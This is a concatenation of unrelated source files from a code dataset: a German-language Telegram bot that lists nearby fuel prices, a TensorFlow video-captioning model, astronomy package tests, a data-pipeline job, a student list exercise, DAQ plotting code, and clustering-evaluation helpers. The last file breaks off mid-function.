default_radius\r\n no_radius = ('Bisher hast du noch keinen Suchradius hinterlegt, '\r\n f' daher wird automatisch der Standartwert von {radius} '\r\n 'km angenommen. Des kann allerdings dazu führen, dass '\r\n 'dir keine Tankstelle angezeigt wird. Solltest du das '\r\n 'ändern kannst du dies im Menü unter \"einrichten\" tun.')\r\n update.message.reply_text(no_radius)\r\n msg = (\r\n f'Vielen Dank. Hier ist die Liste der geöffneten Tankstellen in '\r\n f'deiner Nähe (Radius: {radius} km Luftlinie), sortiert nach dem '\r\n f'aktuellen Preis ({user_data[\"gas_type\"]}):'\r\n )\r\n update.message.reply_text(msg)\r\n \r\n # API Request zu Tankerkönig für Preisdaten. FÜr mehr INfos siehe oben\r\n query = (\r\n f'https://creativecommons.tankerkoenig.de/json/list.php?'\r\n f'lat={user_location.latitude}&lng={user_location.longitude}'\r\n f'&rad={radius}&sort=price&type={user_data[\"gas_type\"]}'\r\n f'&apikey={config.tank_key}'\r\n ) \r\n page = requests.get(query, timeout=5)\r\n msg = \"\"\r\n # Liste mit empfohlenen Tankstellen wird gespeichert um später zur \r\n # Navigation darauf zugreifen zu können\r\n locs = []\r\n # Ergebnisliste des Requests wird gefiltert auf fehlende Preisdaten und\r\n # geschlossene Tankstellen\r\n station_list = [x for x in page.json()[\"stations\"] \r\n if x['isOpen'] and x['price']!=None]\r\n # Erstellen der Nachricht mit der Tankstellenliste für den Nutzer\r\n for counter, result in enumerate(station_list[:5],1):\r\n msg += (\r\n f'{counter}. {result[\"brand\"]:<10} '\r\n f'{str(result[\"price\"]).replace(\".\",\",\"):>4} € pro Liter \\n'\r\n f'in {result[\"dist\"]:<4} km Entfernung: \\n'\r\n f'{result[\"street\"].title()} {result[\"houseNumber\"]}, '\r\n f'{result[\"place\"].title()}\\n\\n'\r\n )\r\n locs.append(result)\r\n # Abspeichern der Liste der Ergebnisse unter den Userdaten\r\n context.user_data['locs'] = locs\r\n update.message.reply_text(msg)\r\n # Keyboardmarkup zur Auswahl aller Listenelemente + menü - siehe unten\r\n choice_keyboard = [\r\n [KeyboardButton(text=str(x)) for x in range(1,counter+1)]]\r\n update.message.reply_text(\r\n ('Wenn du zu einer der Tankstellen navigieren möchtest, wähle '\r\n 'bitte über die Rangliste '),\r\n reply_markup=ReplyKeyboardMarkup(choice_keyboard+end_keyboard, \r\n one_time_keyboard=True))\r\n\r\ndef navigation(update, context):\r\n \"\"\"Nimmt die Angaben zur gewünschten Tankstelle (meist Zahl 1-5) um \r\n den Standort der Tankstelle auszugeben und in Navigationsprogramm zu \r\n öffnen\"\"\"\r\n choice = update.message.text # Auswahl des Nutzers wird ausgelesen\r\n user = update.message.from_user # Objekt mit Nutzerinfos\r\n # Objekt mit gespeicherten Nutzerdaten + Ergebnisliste\r\n user_data = context.user_data\r\n \r\n # Überprüfung ob bereits Ergebnisse unter User gespeichert wurden\r\n if 'locs' in user_data and choice in [str(x) for x in \r\n range(1,len(user_data['locs'])+1)]:\r\n # Speichern der gewählten Tankstelle in Variable\r\n loc = user_data['locs'][int(choice)-1]\r\n \r\n # Erstellen der Nachricht zu näheren Infos der Tankstelle\r\n update.message.reply_text(f'{loc[\"brand\"]}, {loc[\"street\"].title()}:')\r\n update.message.reply_location(\r\n longitude=loc[\"lng\"], latitude=loc[\"lat\"]\r\n )\r\n # Keyboardmarkup zur Auswahl aller Listenelemente + menü - siehe unten\r\n # falls zu anderer Tankstelle navigiert werden soll\r\n choice_keyboard = [\r\n [KeyboardButton(text=\r\n str(x)) for x in range(\r\n 1,len(user_data['locs'])+1)]]\r\n update.message.reply_text(\r\n end_text,\r\n reply_markup=ReplyKeyboardMarkup(\r\n end_keyboard+choice_keyboard, \r\n one_time_keyboard=True))\r\n logger.info(\"%s wählt %s um zu %f / lat: %f long/lat zu navigieren.\",\r\n user.first_name, choice, loc[\"lng\"], loc[\"lat\"])\r\n output = RE_NAVIGATION\r\n # Falls keine Ergebnisse gespeichert wurden, Rückgabe der echo-Funktion\r\n else:\r\n output = echo(update, context)\r\n\r\n return output\r\n\r\ndef beenden(update, context):\r\n \"\"\"Beenden des Gesprächs\"\"\"\r\n user = update.message.from_user\r\n logger.info(\"Nutzer %s beendet das Gespräch.\", user.first_name)\r\n update.message.reply_text(\r\n ('Du hast das Gespräch beendet, auf Wiedersehen! Ich hoffe du '\r\n 'kommst bald wieder auf mich zurück. \\n\\nMit \"/start\" kannst du '\r\n 'das Gespräch neu starten. '),\r\n reply_markup=ReplyKeyboardMarkup(start_keyboard, \r\n one_time_keyboard=True))\r\n\r\n return ConversationHandler.END\r\n\r\ndef echo(update, context):\r\n \"\"\"Antwort an alle unspezifierten Nachrichten des Nutzers\"\"\"\r\n update.message.reply_text(\r\n ('Ich habe die Eingabe leider nicht verstanden. '\r\n 'Bisher ist dazu keine Funktion implementiert.'\r\n ' Versuche es doch erneut.'),\r\n reply_markup=ReplyKeyboardMarkup(start_keyboard,\r\n one_time_keyboard=True))\r\n logger.info(\"Eingabe von %s: %s\", \r\n update.message.chat.first_name, update.message.text)\r\n \r\n return ConversationHandler.END\r\n \r\ndef error(update, context):\r\n \"\"\"Ausgabe aller auftretenden Fehler in der Logdatei\"\"\"\r\n logger.warning('Update \"%s\" verursacht Fehler \"%s\"', update, context.error)\r\n\r\ndef main():\r\n \"\"\"Starte den bot und definiere Handler um die Befehle in den \r\n Dialogfluss zu ordnen\"\"\"\r\n\r\n # Updaterobjekt wird erstellt und Token aus Config.py übergeben\r\n # das Updaterobjekt verbindet Script mit Bot\r\n updater = Updater(token=config.bot_token, use_context=True)\r\n\r\n # Dispatcher um die Handler für die Funktionen zu erstellen\r\n dp = updater.dispatcher\r\n\r\n # handler für Befehle die in jedem Fenster aufgerufen werden können und\r\n # Zuordnung der Aktionen von Telegram\r\n dp.add_handler(CommandHandler(\"start\", start))\r\n dp.add_handler(CommandHandler(\"help\", help))\r\n dp.add_handler(MessageHandler(Filters.location, standort))\r\n dp.add_handler(CommandHandler('beenden', beenden))\r\n \r\n # Definition von aufeinanderfolgende Dialogelemente\r\n conv_handler = ConversationHandler(\r\n entry_points=[CommandHandler('einrichten', einrichten)],\r\n\r\n states={\r\n GAS_TYPE: [MessageHandler(Filters.text,edit_gas_type)],\r\n RADIUS: [MessageHandler(Filters.text,edit_radius)]\r\n },\r\n\r\n fallbacks=[CommandHandler(\"menue\", menue)]\r\n )\r\n \r\n nav_handler = ConversationHandler(\r\n entry_points=[CommandHandler('menue', menue)],\r\n\r\n states={\r\n STANDORT: [MessageHandler(Filters.text, standort),\r\n CommandHandler('einrichten', einrichten)],\r\n NAVIGATION: [MessageHandler(Filters.text, navigation),\r\n CommandHandler('menue', menue)],\r\n RE_NAVIGATION: [\r\n CommandHandler('menue', menue),\r\n MessageHandler(Filters.text, navigation)]\r\n \r\n\r\n },\r\n\r\n fallbacks=[CommandHandler(\"menue\", menue)]\r\n )\r\n\r\n dp.add_handler(conv_handler)\r\n dp.add_handler(nav_handler)\r\n \r\n # erstelle log für alle Fehler\r\n dp.add_error_handler(error)\r\n\r\n # Starte den Bot\r\n updater.start_polling()\r\n\r\n # Bot wird betrieben, bis Strg+c betätigt wird. Dies beendet den Bot.\r\n # alle abgespeicherten User_data gehen dadurch verloren.\r\n updater.idle()\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"TankBot.py","file_name":"TankBot.py","file_ext":"py","file_size_in_byte":18541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"596084488","text":"import numpy as np\nfrom data import dataset\nimport tensorflow as tf\nimport pickle\nimport os\n\n# Parameter Setting\ninput_num = 4096\nhidden_num = 256\nframe_num = 80\nbatch_size = 256\nepoch_num = 100\n\nclass S2VT:\n def __init__(self, input_num, hidden_num, frame_num = 0, max_caption_len = 50, lr = 1e-4, sampling = 0.8):\n self.input_num = input_num\n self.hidden_num = hidden_num\n self.frame_num = frame_num\n self.max_caption_len = max_caption_len\n self.learning_rate = lr\n self.sampling_prob = sampling\n self.saver = None\n self.vocab_num = None\n self.token = None\n \n def load_vocab(self):\n with open('tokenizer.pickle', 'rb') as handle:\n self.token = pickle.load(handle)\n self.vocab_num = len(self.token.word_index)\n \n def modelBuilding(self, feat, cap, cap_len, isTrain=True):\n W_top = tf.Variable(tf.random_uniform([self.input_num, self.hidden_num],-0.1,0.1), name='W_top')\n b_top = tf.Variable(tf.zeros([self.hidden_num]), name='b_top')\n W_btm = tf.Variable(tf.random_uniform([self.hidden_num,self.vocab_num],-0.1,0.1), name='W_btm')\n b_btm = tf.Variable(tf.zeros([self.vocab_num]),name='b_btm')\n embedding = tf.Variable(tf.random_uniform([self.vocab_num,self.hidden_num],-0.1,0.1), name='Embedding')\n batch_size = tf.shape(feat)[0]\n \n with tf.variable_scope('LSTMTop'):\n lstm_top = tf.nn.rnn_cell.BasicLSTMCell(self.hidden_num, forget_bias=1.0, state_is_tuple=True)\n if isTrain:\n lstm_top = tf.contrib.rnn.DropoutWrapper(lstm_top, output_keep_prob=0.5) \n with tf.variable_scope('LSTMBottom'):\n lstm_btm = tf.nn.rnn_cell.BasicLSTMCell(self.hidden_num, forget_bias=1.0, state_is_tuple=True)\n if isTrain:\n lstm_btm = tf.contrib.rnn.DropoutWrapper(lstm_btm, output_keep_prob=0.5)\n \n if isTrain:\n feat = tf.nn.dropout(feat,0.5)\n cap_mask = tf.sequence_mask(cap_len,self.max_caption_len, dtype=tf.float32)\n\n feat = tf.reshape(feat,[-1,self.input_num])\n img_emb = tf.add(tf.matmul(feat,W_top),b_top)\n img_emb = tf.transpose(tf.reshape(img_emb,[-1, self.frame_num, self.hidden_num]),perm=[1,0,2])\n # [batch, frame_num, hidden_num] -> [frame_num, batch, hidden_num] \n \n h_top = lstm_top.zero_state(batch_size, dtype=tf.float32)\n h_btm = lstm_top.zero_state(batch_size, dtype=tf.float32)\n \n pad = tf.ones([batch_size, self.hidden_num])*self.token.texts_to_sequences([''])[0][0]\n \n for i in range(frame_num):\n with tf.variable_scope('LSTMTop'):\n output_top, h_top = lstm_top(img_emb[i,:,:],h_top)\n with tf.variable_scope('LSTMBottom'):\n output_btm, h_btm = lstm_btm(tf.concat([pad,output_top],axis=1),h_top)\n \n logit = None\n logit_list = []\n cross_entropy_list = []\n \n for i in range(0, self.max_caption_len):\n with tf.variable_scope('LSTMTop'):\n output_top, h_top = lstm_top(pad, h_top)\n\n if i == 0:\n with tf.variable_scope('LSTMBottom'):\n bos = tf.ones([batch_size, self.hidden_num])*self.token.texts_to_sequences([''])[0][0]\n bos_btm_input = tf.concat([bos, output_top], axis=1)\n output_btm, h_btm = lstm_btm(bos_btm_input, h_btm)\n else:\n if isTrain:\n if np.random.uniform(0,1,1) < self.sampling_prob:\n input_btm = cap[:,i-1]\n else:\n input_btm = tf.argmax(logit, 1)\n else:\n input_btm = tf.argmax(logit, 1)\n btm_emb = tf.nn.embedding_lookup(embedding, input_btm)\n with tf.variable_scope('LSTMBottom'):\n input_btm_emb = tf.concat([btm_emb, output_top], axis=1)\n output_btm, h_btm = lstm_btm(input_btm_emb, h_btm)\n \n logit = tf.add(tf.matmul(output_btm, W_btm), b_btm)\n logit_list.append(logit)\n \n if isTrain:\n labels = cap[:, i]\n one_hot_labels = tf.one_hot(labels, self.vocab_num, on_value = 1, off_value = None, axis = 1) \n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits=logit, labels=one_hot_labels)\n cross_entropy = cross_entropy * cap_mask[:, i]\n cross_entropy_list.append(cross_entropy)\n \n if isTrain:\n cross_entropy_list = tf.stack(cross_entropy_list, 1)\n loss = tf.reduce_sum(cross_entropy_list, axis=1)\n loss = tf.divide(loss, tf.cast(cap_len, tf.float32))\n loss = tf.reduce_mean(loss, axis=0)\n\n logit_list = tf.stack(logit_list, axis = 0)\n logit_list = tf.reshape(logit_list, (self.max_caption_len, batch_size, self.vocab_num))\n logit_list = tf.transpose(logit_list, [1, 0, 2])\n # [max_cap, batch, vocab_num] -> [batch, max_cap, vocab_num]\n \n optimizer = tf.train.AdamOptimizer(self.learning_rate)\n train_op = optimizer.minimize(loss)\n \n pred_op = tf.argmax(logit_list, axis=2)\n return train_op, loss, pred_op, logit_list\n\ndef train():\n data_train = dataset(batch_size,'./training_data/feat/','./training_label.json')\n data_train.generate_token()\n data_train.process_data()\n data_train.save_vocab()\n \n graph_train = tf.Graph()\n with graph_train.as_default():\n model = S2VT(input_num,hidden_num,frame_num)\n model.load_vocab()\n feat = tf.placeholder(tf.float32, [None, frame_num, input_num], name='features')\n cap = tf.placeholder(tf.int32, [None, 50], name='caption')\n cap_len = tf.placeholder(tf.int32, [None], name='captionLength')\n train_op, loss_op, pred_op, logit_list_op = model.modelBuilding(feat, cap, cap_len, True)\n init = tf.global_variables_initializer()\n saver = tf.train.Saver(max_to_keep=3)\n sess_train = tf.Session(graph=graph_train)\n batch_num = int(data_train.dataSize/batch_size)\n sess_train.run(init)\n \n training_loss = []\n for epoch in range(epoch_num):\n data_train.shuffle_data()\n for i in range(batch_num):\n id_batch, feat_batch, cap_batch, cap_len_batch, = data_train.next_batch()\n sess_train.run(train_op,feed_dict={feat:feat_batch,cap:cap_batch,cap_len:cap_len_batch})\n loss = sess_train.run(loss_op,feed_dict={feat:feat_batch,cap:cap_batch,cap_len:cap_len_batch})\n training_loss.append(loss)\n print(\"Epoch: \",epoch,\" Loss: \",loss)\n model_path = saver.save(sess_train, './save/model', global_step=epoch_num*batch_num)\n print(\"Model saved: \",model_path)\n \ndef test():\n data_test = dataset(batch_size,'./testing_data/feat/','./testing_label.json')\n data_test.load_token()\n data_test.process_data()\n \n \nif __name__ == '__main__':\n train()\n \n ","sub_path":"Video-Caption-Generation-using-RNN-Seq-to-Seq-Model/model_seq2seq.py","file_name":"model_seq2seq.py","file_ext":"py","file_size_in_byte":7150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"379713335","text":"\"\"\"\n\"\"\"\nfrom __future__ import (absolute_import, division, print_function)\n\nimport numpy as np\nfrom astropy.tests.helper import pytest\n\nfrom ...factories import PrebuiltHodModelFactory\n\nfrom ....sim_manager import FakeSim\n\n\n__all__ = ('test_fake_mock_population', 'test_fake_mock_observations1')\n\n\n@pytest.mark.slow\ndef test_fake_mock_population():\n halocat = FakeSim(num_halos_per_massbin=25)\n for modelname in PrebuiltHodModelFactory.prebuilt_model_nickname_list:\n model = PrebuiltHodModelFactory(modelname)\n model.populate_mock(halocat)\n model.populate_mock(halocat)\n\n\n@pytest.mark.slow\ndef test_fake_mock_observations1():\n model = PrebuiltHodModelFactory('zu_mandelbaum16')\n result = model.compute_average_galaxy_clustering(num_iterations=1, simname='fake')\n\n result = model.compute_average_galaxy_clustering(\n num_iterations=1, simname='fake', summary_statistic='mean',\n gal_type='centrals', include_crosscorr=True, rbins=np.array((0.1, 0.2, 0.3)),\n redshift=0, halo_finder='rockstar')\n","sub_path":"halotools/empirical_models/factories/tests/test_prebuilt_hod_model_factory.py","file_name":"test_prebuilt_hod_model_factory.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"195729138","text":"\"\"\"_jobs file for sidewalk oci.\"\"\"\nimport os\nimport pandas as pd\nimport requests\nfrom datetime import datetime, timedelta\nimport logging\nfrom airflow.hooks.mssql_hook import MsSqlHook\nimport pymssql\nfrom trident.util import general\n\n\nconf = general.config\n\ncond_file = f\"{conf['prod_data_dir']}/sidewalk_cond_datasd_v1.csv\"\n\n\ndef get_sidewalk_data(**kwargs):\n \"\"\"Get sidewalk condition data from DB.\"\"\"\n sw_query = general.file_to_string('./sql/sidewalk_insp.sql', __file__)\n sw_conn = MsSqlHook(mssql_conn_id='streets_cg_sql')\n\n df = sw_conn.get_pandas_df(sw_query)\n\n # Rename columns we're keeping\n df = df.rename(columns={\n 'sap_id': 'seg_id',\n 'legacy_id': 'geojoin_id',\n 'inspectiondate': 'oci_date',\n 'rating': 'oci_desc',\n 'condition': 'oci'\n })\n\n df = df.drop(['cgLastModified',\n 'MaxInspect',\n 'MaxMod'],axis=1)\n\n # Write csv\n logging.info('Writing ' + str(df.shape[0]))\n \n general.pos_write_csv(\n df, cond_file, date_format=\"%Y-%m-%d\")\n \n return \"Successfully wrote prod file\"\n","sub_path":"poseidon/dags/sidewalks/sidewalk_jobs.py","file_name":"sidewalk_jobs.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"533295051","text":"def sequenceDesDeux(lis):\n \"\"\"\"\"\nCe programe vois si les nombre consicutife on la meme valeur\nlist--->bool\n \"\"\"\n L = lis[1:]\n for n in lis[1:]:\n if n == L:\n return True\n L != n\n return False\nlis = list(input(\"Veuillez entrer une liste de valeur séparées par des virgules: \"))\nprint(sequenceDesDeux(lis))\n\n","sub_path":"D3_300086994/d3q2.py","file_name":"d3q2.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"392800897","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 15 03:14:24 2017\n\n@author: jackcanute\n\"\"\"\n\nimport pyqtgraph as pg\nimport numpy as np\nimport os\nimport time\nimport argparse\nimport logging\nimport datetime\nimport sys\n\nclass USBDAQPlotting:\n def __init__(self, LOGIC_SAMPLE_RATE, ADC_SAMPLE_RATE, CHIP_SAMPLE_RATE, ADC_SCLK_RATE = 1e6):\n \n # We need to make these class variables so\n # that they remain in memory, else plotting doesn't work\n self.logic_view = None\n self.adc_view = None\n self.elec_view = None\n \n # Used to convert between arrays of binary and int values\n self.bitmask_array8 = 1 << np.arange(7,-1,-1)\n self.bitmask_array16 = 1 << np.arange(15,-1,-1)\n \n self._LOGIC_SAMPLE_RATE = LOGIC_SAMPLE_RATE\n self._LOGIC_SAMPLE_PERIOD = 1 / LOGIC_SAMPLE_RATE\n self._ADC_SCLK_RATE = ADC_SCLK_RATE\n self._ADC_SCLK_PERIOD = 1 / ADC_SCLK_RATE\n self._ADC_SAMPLE_RATE = ADC_SAMPLE_RATE\n self._ADC_SAMPLE_PERIOD = 1 / ADC_SAMPLE_RATE\n self._CHIP_SAMPLE_RATE = CHIP_SAMPLE_RATE\n self._CHIP_SAMPLE_PERIOD = 1 / CHIP_SAMPLE_RATE\n \n def _makeNewLayout(self,title=\"\", width = 800, height = 800):\n view = pg.GraphicsLayoutWidget()\n view.show()\n view.resize(width,height)\n view.setWindowTitle(title)\n return view\n \n def plotLogic(self, logic, plot_range = [0,100000], display_cs_markers = False, x_scale_time = True):\n # Create pre-scaled array for plotting logic \n logic_plot_data = logic[plot_range[0]:plot_range[1], :] * 0.8 + np.arange(8) + 0.1\n \n # create new window\n self.logic_view = self._makeNewLayout(\"Raw Logic\")\n \n # add plot and legend items (both blank)\n plot_item = self.logic_view.addPlot(rowspan = 3)\n if x_scale_time:\n plot_item.setRange(xRange=(0,0.01),yRange=(0,8))\n else:\n plot_item.setRange(xRange=(0,1000), yRange=(0,8))\n plot_item.setLimits(yMin=-2,yMax=10,minYRange=4)\n self.logic_view.nextCol()\n self.logic_view.nextRow()\n plot_legend = pg.LegendItem(offset = (0,0))\n self.logic_view.addItem(plot_legend)\n \n # create vars used to display plots nicely\n plot_length = plot_range[1] - plot_range[0]\n# pens = [1,2,3] + [4]*5\n pens = list(range(8))\n channel_names = [\"MCLK\", \"SCLK\", \"CS\", \"ADC0\", \"ADC1\", \"ADC2\", \"ADC3\", \"ADC4\"]\n if x_scale_time:\n x_range = np.linspace(0, plot_length / self._LOGIC_SAMPLE_RATE, plot_length)\n else:\n x_range = list(range(plot_length))\n \n # Create actual PlotDataItem's\n plots = []\n for idx in range(8):\n plots += [plot_item.plot(x_range, logic_plot_data[:,idx], pen=(pens[idx],8))]\n for idx in reversed(range(8)):\n plot_legend.addItem(plots[idx], channel_names[idx])\n \n # Press \"a\" to snap y-axis back to full\n self.logic_view.keyPressEvent = lambda ev: plot_item.setRange(yRange=(0,8)) if (ev.key() == pg.QtCore.Qt.Key_S) else None\n \n if display_cs_markers:\n cs_transitions = np.where(logic_plot_data[:-1,2] > logic_plot_data[1:,2])[0] + 1\n logic_to_clk_scale = self._LOGIC_SAMPLE_RATE / 1000000\n for i in range(10):\n if x_scale_time:\n plot_item.addLine(cs_transitions[i] / self._LOGIC_SAMPLE_RATE, pen=(6,8))\n for x in range(12):\n plot_item.addLine((cs_transitions[i] + (4 + x)*logic_to_clk_scale) / self._LOGIC_SAMPLE_RATE, pen=(1,8))\n plot_item.addLine(cs_transitions[i] / self._LOGIC_SAMPLE_RATE + self._ADC_SCLK_PERIOD * 16, pen=(7,8))\n for x in range(12):\n plot_item.addLine((cs_transitions[i] + (4 + x)*logic_to_clk_scale) / self._LOGIC_SAMPLE_RATE + self._ADC_SCLK_PERIOD * 16, pen=(1,8))\n else:\n plot_item.addLine(cs_transitions[i], pen=(6,8))\n for x in range(12):\n plot_item.addLine((cs_transitions[i] + (4 + x)*logic_to_clk_scale), pen=(1,8))\n plot_item.addLine(cs_transitions[i] + 16*logic_to_clk_scale, pen=(7,8))\n for x in range(12):\n plot_item.addLine((cs_transitions[i] + (16 + 4 + x)*logic_to_clk_scale), pen=(1,8))\n\n def plotADCRaw(self, adc_raw):\n self.adc_view = self._makeNewLayout('Raw ADC Values (Muxed)')\n self.adc_raw = adc_raw\n\n adc_y_range_default = (-(2**11), 2**11)\n adc_plot_item = self.adc_view.addPlot(rowspan = 3)\n adc_plot_item.setRange(xRange=(0,0.1),yRange=adc_y_range_default)\n adc_plot_item.setLimits(yMin=adc_y_range_default[0]-128,yMax=adc_y_range_default[1]+128,minYRange=4)\n \n self.adc_view.nextCol()\n self.adc_view.nextRow()\n adc_plot_legend = pg.LegendItem(offset = (0,0))\n self.adc_view.addItem(adc_plot_legend)\n \n # Create variables to better display channels\n pens = [x for x in range(10)]\n channel_names = [\"ADC_CH\" + str(ch) for ch in range(10)]\n x_range = np.linspace(0, len(adc_raw[0]) / self._ADC_SAMPLE_RATE, len(adc_raw[0]))\n \n # Create actual PlotDataItem's\n adc_plots = []\n for idx in range(10):\n ch_idx = idx//2 + (idx % 2)*5\n adc_plots += [adc_plot_item.plot(x_range, adc_raw[ch_idx,:], pen=(pens[idx],10))]\n adc_plot_legend.addItem(adc_plots[idx], channel_names[idx])\n \n # Press \"a\" to snap y-axis back to full\n self.adc_view.keyPressEvent = lambda ev: adc_plot_item.setRange(yRange=adc_y_range_default) if (ev.key() == pg.QtCore.Qt.Key_A) else None\n\n def plotElectrodes(self, electrodes):\n self.elec_view = self._makeNewLayout('Electrodes Demuxed')\n \n elec_y_range_default = (0, 5)\n pens = [x for x in range(100)]\n channel_names = [\"c%dr%d\" % (x//10,x%10) for x in range(100)]\n x_range = np.linspace(0, len(electrodes[0,0]) / self._CHIP_SAMPLE_RATE, len(electrodes[0][0]))\n \n # elec_plot_legend = pg.LegendItem(offset = (0,0))\n # self.elec_view.addItem(elec_plot_legend)\n \n elec_plot_items = []\n elec_plots = []\n for i in range(100):\n elec_plot_item = self.elec_view.addPlot()\n elec_plot_item.setRange(xRange=(0,0.1),yRange=elec_y_range_default)\n elec_plot_item.setLimits(yMin=elec_y_range_default[0]-0.1,yMax=elec_y_range_default[1]+0.1,minYRange=0.01)\n elec_plot_items += [elec_plot_item]\n \n elec_plots += [elec_plot_item.plot(x_range, electrodes[i%10][i//10], pen=(pens[i],100))]\n # elec_plot_legend.addItem(elec_plots[idx], channel_names[idx])\n \n if (i+1) % 10 == 0:\n self.elec_view.nextRow()\n else:\n self.elec_view.nextCol()\n \n # Press \"a\" to snap y-axis back to full\n self.elec_view.keyPressEvent = lambda ev: elec_plot_item.setRange(yRange=elec_y_range_default) if (ev.key() == pg.QtCore.Qt.Key_A) else None","sub_path":"usb_daq_plotting.py","file_name":"usb_daq_plotting.py","file_ext":"py","file_size_in_byte":7265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"462663373","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 12 13:44:02 2019\n\n@author: crystal\n\"\"\"\nimport numpy as np\nfrom bnpy.data.XData import XData\n\n## extract DP parameters and organize them into a function\ndef extractDPParam(model, dataset):\n LP = model.calc_local_params(dataset)\n LPMtx = LP['E_log_soft_ev']\n ## to obtain hard assignment of clusters for each observation\n Y = LPMtx.argmax(axis=1)\n \n ## obtain sufficient statistics from DP\n SS = model.get_global_suff_stats(dataset, LP, doPrecompEntropy=1)\n Nvec = SS.N\n \n ## get the number of clusters\n K = model.obsModel.Post.K\n \n m = model.obsModel.Post.m\n \n # get the posterior covariance matrix\n B = model.obsModel.Post.B\n \n # degree of freedom\n nu = model.obsModel.Post.nu\n \n # scale precision on parameter m, which is lambda parameter in wiki for Normal-Wishart dist\n kappa = model.obsModel.Post.kappa\n \n ## save the variables in a dictionary\n DPParam = dict()\n DPParam['LPMtx'] = LPMtx\n DPParam['Y'] = Y\n DPParam['Nvec'] = Nvec\n DPParam['K'] = K\n DPParam['m'] = m\n DPParam['B'] = B\n DPParam['nu'] = nu\n DPParam['kappa'] = kappa\n DPParam['model'] = model\n return DPParam\n\ndef obtainObsInd4Cluster(Y, clusterLabel):\n ind = np.where(Y == clusterLabel)[0]\n return ind\n \n\ndef obtainObsInd4MultiCluster(Y, multiClusterLabel):\n result = dict()\n for value in multiClusterLabel:\n result[value] = obtainObsInd4Cluster(Y, value)\n return result\n\ndef obtainTrueClusterLabel4FittedCluster(trueY, fittedY, fittedCluster):\n \"\"\"\n This function returns the true cluster label for a fitted cluster given true \n labels and fitted cluster labels. For example, if in a fitted cluster, there \n are 10 data points, and 7 of them has comes from the true cluster with label\n 5, this cluster should match with the true cluster label 5. \n Args:\n trueY: true cluster label for each observation\n fittedY: the fitted cluster label for each observation\n fittedCluster: the given fitted cluster Label\n Returns:\n the true cluster label correspond to the majority of the observations \n in the fitted cluster with label fittedCluster\n \"\"\"\n ## this code has been tested\n ## find the observations in the fitted cluster with cluster label fittedCluster\n ind = obtainObsInd4Cluster(fittedY, fittedCluster)\n trueClusters = trueY[ind]\n uniqueTrueCluster, counts = np.unique(trueClusters, return_counts=True)\n ## find the true cluster label with the largest number of counts by \n ## returning the index of counts with has the maximum value\n majorityInd = np.argmax(counts)\n ## obtain the proportion of the obs has the majority cluster label, \n ## which is also the precision\n prec = counts[majorityInd]/len(ind)\n majorityCluster = uniqueTrueCluster[majorityInd]\n \n result = dict()\n result['prec'] = prec\n result['trueCluster'] = majorityCluster\n count_trueY = len(np.where(trueY==majorityCluster)[0])\n result['recall'] = counts[majorityInd]/count_trueY\n result['count_trueY4trueCluster'] = count_trueY \n result['overallRecallCount'] = counts[majorityInd]\n result['fittedCluster'] = fittedCluster\n return result\n\ndef obtainTrueClusterLabel4AllFittedCluster(trueY, fittedY):\n allFittedClasses, fittedCount = np.unique(fittedY, return_counts=True)\n allResult = dict()\n for fittedCluster in allFittedClasses:\n fittedClusterRes = obtainTrueClusterLabel4FittedCluster(trueY, fittedY, fittedCluster)\n allResult[fittedCluster] = fittedClusterRes\n return allResult\n \n\ndef obtainDictFromTrueToFitted(dictFitted2True):\n \"\"\"\n This function returns the dictionary from a given true class label to \n the cluster label in the fitted clusters, predicted given the model\n dictFitted2True = obtainTrueClusterLabel4AllFittedCluster(trueY, fittedY)\n Args:\n dictFittedToTrue should be a result from obtainTrueClusterLabel4AllFittedCluster\n Returns:\n a dictionary with each key as the true cluslter label\n and the values to each key as the label of the fitted cluster to this true label\n \"\"\"\n ## obtain all the fitted cluster labels, which is all the keys to dictFitted2True\n ## correctness of this function has been tested\n allFClusters = dictFitted2True.keys()\n resultTrue2Fitted = dict()\n \n for fittedCluster in allFClusters:\n trueCluster = dictFitted2True[fittedCluster]['trueCluster']\n fittedCluster = dictFitted2True[fittedCluster]['fittedCluster']\n ## check if trueCluster exists in the keys of resultTrue2Fitted\n if not trueCluster in resultTrue2Fitted.keys():\n resultTrue2Fitted[trueCluster] = list()\n resultTrue2Fitted[trueCluster].append(fittedCluster)\n else:\n if not fittedCluster in resultTrue2Fitted[trueCluster]:\n resultTrue2Fitted[trueCluster].append(fittedCluster)\n ## ToDo: sort the keys in an increasing order\n return resultTrue2Fitted\n\ndef obtainDictFromTrueToFittedUsingLabel(trueY, FittedY):\n dictFitted2True = obtainTrueClusterLabel4AllFittedCluster(trueY, FittedY)\n result = obtainDictFromTrueToFitted(dictFitted2True)\n return result\n \n \n \n \n\n\n################################################################################################\n \n\n\n## add metrics calculation function for clusters\nfrom sklearn.metrics import accuracy_score, normalized_mutual_info_score, adjusted_rand_score,silhouette_score\nfrom sklearn.metrics.cluster import homogeneity_score, completeness_score,v_measure_score\n\ndef clusterEvaluation(trueY, fittedY):\n result = dict()\n ## NMI denotes normalized mutual information\n ## ARS denotes adjusted rand score\n ## HS stands for homogeneity_score, 1 means perfect\n ## VM represents v_measure_score ranging [0, 1], 1.0 is perfectly complete labeling\n ## SS represents silhouette_score\n result['NMI'] = normalized_mutual_info_score(trueY, fittedY)\n result['ARS'] = adjusted_rand_score(trueY, fittedY)\n result['HS'] = homogeneity_score(trueY, fittedY)\n result['CS'] = completeness_score(trueY, fittedY)\n result['VM'] = v_measure_score(trueY, fittedY)\n return result\n\ndef clusterAccuracyUpdated(trueY, fittedY):\n dictFitted2True = obtainTrueClusterLabel4AllFittedCluster(trueY, fittedY)\n clusterMatch = obtainDictFromTrueToFitted(dictFitted2True)\n trueClusters = 